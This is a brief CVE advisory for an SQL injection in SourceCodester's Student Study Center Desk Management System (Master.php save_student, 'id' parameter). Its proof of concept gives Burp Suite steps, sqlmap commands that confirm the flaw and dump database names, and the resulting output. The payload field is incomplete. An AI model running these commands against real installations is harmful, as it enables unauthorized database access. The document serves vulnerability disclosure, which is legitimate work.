CVE-2024-6731
Details
Attack type: SQL injection
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vendor: SourceCodester
Product: Student Study Center Desk Management System
Affected components: /sscdms/classes/Master.php?f=save_student
Injection parameter: MULTIPART id
POC
Intercept request using Burpsuite Proxy.
Save the request to save_student.txt
.
The vulnerability can be verified with the following command:
sqlmap -r save_student.txt --batch
Parameter: MULTIPART id ((custom) POST)
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
Payload: -----------------------------250939851917583644163997292923
Content-Disposition: form-data; name="id"
Databases; can be dumped with the following command:
sqlmap -r save_student --batch --dbs
[10:03:23] [INFO] fetching database names
[10:03:23] [INFO] retrieved: 'information_schema'
[10:03:24] [INFO] retrieved: 'sscdms'
available databases [2]:
[*] information_schema
[*] sscdms